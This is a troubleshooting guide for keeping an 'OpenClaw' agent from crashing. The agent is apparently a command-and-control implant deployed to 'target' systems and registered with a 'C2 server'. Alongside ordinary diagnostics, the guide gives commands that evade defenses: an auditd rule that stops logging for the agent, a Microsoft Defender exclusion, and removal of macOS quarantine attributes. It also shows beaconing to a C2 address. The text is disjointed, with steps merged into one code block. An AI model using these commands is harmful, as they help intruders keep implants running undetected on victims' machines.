Fix clw-agent-crash: OpenClaw Agent Process Failure

The agent may also exhibit silent crashes where the process disappears from the task manager without logging any error, making diagnosis more challenging. In containerized environments, you might see the container exit with status code 137 (SIGKILL) or 134 (SIGABRT).

---

## 2. Root Cause

The `clw-agent-crash` error stems from several potential root causes, ranging from resource constraints to code-level issues in the agent implementation.

**Primary Root Causes:**

1. **Memory Exhaustion**: The agent may be killed by the operating system's Out-of-Memory (OOM) killer when it exceeds available memory limits. This is particularly common in constrained environments or when the agent performs memory-intensive operations like large payload injections.

2. **Dependency Library Mismatch**: Incompatible versions of shared libraries (libssl, libc, libcrypto) cause runtime linking failures. The agent depends on specific library versions, and version skew between the build environment and target system leads to symbol resolution failures.

3. **Segmentation Faults**: Invalid memory access occurs when the agent encounters unexpected data structures, corrupted payloads, or attempts to execute in restricted memory regions. This typically results in exit code 139 (128 + SIGSEGV signal).

4. **Architecture Mismatch**: Running a binary compiled for a different CPU architecture (e.g., x86_64 on ARM) causes immediate crashes upon startup.

5. **Antivirus/EDR Interference**: Security software may terminate the agent process upon detection, classifying it as malicious despite its legitimate use within OpenClaw's framework.

6. **Signal Handling Issues**: The agent receiving unexpected signals (SIGTERM, SIGKILL) from external processes or system shutdowns before graceful disconnection.

7. **Corrupted Binary**: The agent binary may be incomplete or corrupted during transfer, leading to checksum validation failures or malformed code sections.

---

## 3. Step-by-Step Fix

### Step 1: Verify Binary Integrity

Before any debugging, confirm the agent binary is uncorrupted:

```bash
# Calculate SHA-256 hash on the control server
sha256sum openclaw-agent-linux-amd64

# Transfer the expected hash alongside the binary
scp openclaw-agent-linux-amd64 target:/tmp/
scp openclaw-agent-linux-amd64.sha256 target:/tmp/

# Verify on target system
ssh target "sha256sum /tmp/openclaw-agent-linux-amd64 | diff - /tmp/openclaw-agent-linux-amd64.sha256"

# Checking binary architecture (may show incorrect or execute with errors)
file openclaw-agent-linux-x86
# Output: openclaw-agent-linux-x86: ELF 64-bit LSB executable, x86-64
# But target is: ARM64-based system

# Download the correct ARM64 binary
wget https://openclaw.example/builds/v2.4.1/openclaw-agent-linux-arm64
chmod +x openclaw-agent-linux-arm64
file openclaw-agent-linux-arm64
# Output: openclaw-agent-linux-arm64: ELF 64-bit LSB executable, ARM aarch64

# Linux: Check kernel logs and systemd journal
dmesg | tail -50
journalctl -u openclaw-agent --no-pager -n 100

# Look for OOM killer entries
dmesg | grep -i "killed process"
# Example: [  123.456] Out of memory: Killed process 1234 (openclaw-agent)

# Windows: Check Event Viewer
powershell Get-EventLog -LogName Application -Newest 50 | Where-Object {$_.Source -match "OpenClaw"}

# Run agent without monitoring (crashes without explanation)
./openclaw-agent --server 192.168.1.100:8443 --poll-interval 5s

# Create a wrapper script to monitor resources
cat > /usr/local/bin/openclaw-wrapper.sh << 'EOF'
#!/bin/bash
LOGFILE="/var/log/openclaw-agent/monitor.log"
MAX_MEM_MB=512

mkdir -p "$(dirname "$LOGFILE")"
echo "$(date) - Starting agent with memory limit ${MAX_MEM_MB}MB" >> "$LOGFILE"

# Run with ulimit restrictions
ulimit -v $((MAX_MEM_MB * 1024))
ulimit -d $((MAX_MEM_MB * 1024))

# Monitor in background
(
  while kill -0 $AGENT_PID 2>/dev/null; do
    MEM_USAGE=$(ps -o rss= -p $AGENT_PID 2>/dev/null || echo "0")
    MEM_MB=$((MEM_USAGE / 1024))
    echo "$(date) - Memory: ${MEM_MB}MB" >> "$LOGFILE"
    sleep 5
  done
) &
MONITOR_PID=$!

# Start the agent
export AGENT_PID
./openclaw-agent --server 192.168.1.100:8443 --poll-interval 5s
EXIT_CODE=$?

echo "$(date) - Agent exited with code $EXIT_CODE" >> "$LOGFILE"
kill $MONITOR_PID 2>/dev/null
exit $EXIT_CODE
EOF

chmod +x /usr/local/bin/openclaw-wrapper.sh

# Check linked libraries (may show missing or version mismatches)
ldd openclaw-agent-linux-amd64
# Output:
#     linux-vdso.so.1 (0x00007fff12345000)
#     libssl.so.1.1 => not found
#     libcrypto.so.1.1 => not found
#     libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0
#     libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6

# Install required libraries
sudo apt-get update
sudo apt-get install -y libssl1.1 libstdc++6

# Verify library resolution
ldd openclaw-agent-linux-amd64
# Output:
#     linux-vdso.so.1 (0x00007fff12345000)
#     libssl.so.1.1 => /lib/x86_64-linux-gnu/libssl.so.1.1
#     libcrypto.so.1.1 => /lib/x86_64-linux-gnu/libcrypto.so.1.1
#     libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0
#     libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6

# Linux: Exclude agent directory from audit logging
echo "-a never,exit -S all -F path=/opt/openclaw/agent -F success=0" >> /etc/audit/audit.rules
auditctl -R /etc/audit/audit.rules

# Windows: Add exclusion via PowerShell (Administrator)
Add-MpPreference -ExclusionPath "C:\Program Files\OpenClaw\agent"

# macOS: Exempt from Gatekeeper
sudo xattr -r -d com.apple.quarantine /Applications/OpenClaw.app

# Direct execution - no signal handling
./openclaw-agent --server 192.168.1.100:8443

# Wrapper that handles shutdown signals gracefully
cat > /usr/local/bin/openclaw-agent-safe.sh << 'EOF'
#!/bin/bash
AGENT_BIN="/opt/openclaw/agent/openclaw-agent"
SERVER="${OPENCLAW_SERVER:-192.168.1.100:8443}"
PIDFILE="/var/run/openclaw-agent.pid"

cleanup() {
    echo "Received shutdown signal, terminating gracefully..."
    if [ -f "$PIDFILE" ]; then
        kill -TERM $(cat "$PIDFILE") 2>/dev/null
        rm -f "$PIDFILE"
    fi
    exit 0
}

trap cleanup SIGTERM SIGINT SIGHUP

$AGENT_BIN --server "$SERVER" --poll-interval 5s &
AGENT_PID=$!
echo $AGENT_PID > "$PIDFILE"

wait $AGENT_PID
EXIT_CODE=$?

rm -f "$PIDFILE"
echo "Agent exited with code: $EXIT_CODE"
exit $EXIT_CODE
EOF

chmod +x /usr/local/bin/openclaw-agent-safe.sh

# Basic connectivity test
./openclaw-agent --server 192.168.1.100:8443 --poll-interval 5s --test-connection

# Extended stability test (run for 10 minutes minimum)
timeout 600 ./openclaw-agent --server 192.168.1.100:8443 --poll-interval 5s
echo "Exit code: $?"

# Verify agent registered with C2 server
curl -k https://192.168.1.100:8443/api/v1/agents 2>/dev/null | jq '.[] | select(.hostname=="target-system")'

# Check agent process is running
ps aux | grep openclaw-agent | grep -v grep
# Expected: Should show agent process with uptime > 5 minutes

# WRONG: Build on Ubuntu 22.04, deploy to Ubuntu 16.04
gcc -o agent main.c -static

# CORRECT: Build on target-equivalent system or use container matching target
docker run --rm -v $(pwd):/build ubuntu:16.04 gcc -o agent main.c

# Check current limits
ulimit -n
# Output: 1024 (likely too low for sustained connections)

# Increase limits for the agent user
echo "* soft nofile 65536" >> /etc/security/limits.conf
echo "* hard nofile 65536" >> /etc/security/limits.conf

# WRONG: Agent starts before network is up
./openclaw-agent --server 192.168.1.100:8443

# CORRECT: Wait for network availability
until ping -c 1 192.168.1.100 &>/dev/null; do
    echo "Waiting for network..."
    sleep 2
done
./openclaw-agent --server 192.168.1.100:8443

# Ensure logging directory exists with correct permissions
mkdir -p /var/log/openclaw-agent
chmod 755 /var/log/openclaw-agent
chown openclaw:openclaw /var/log/openclaw-agent

# Run agent with explicit log file
./openclaw-agent --server 192.168.1.100:8443 --log-file /var/log/openclaw-agent/agent.log --log-level DEBUG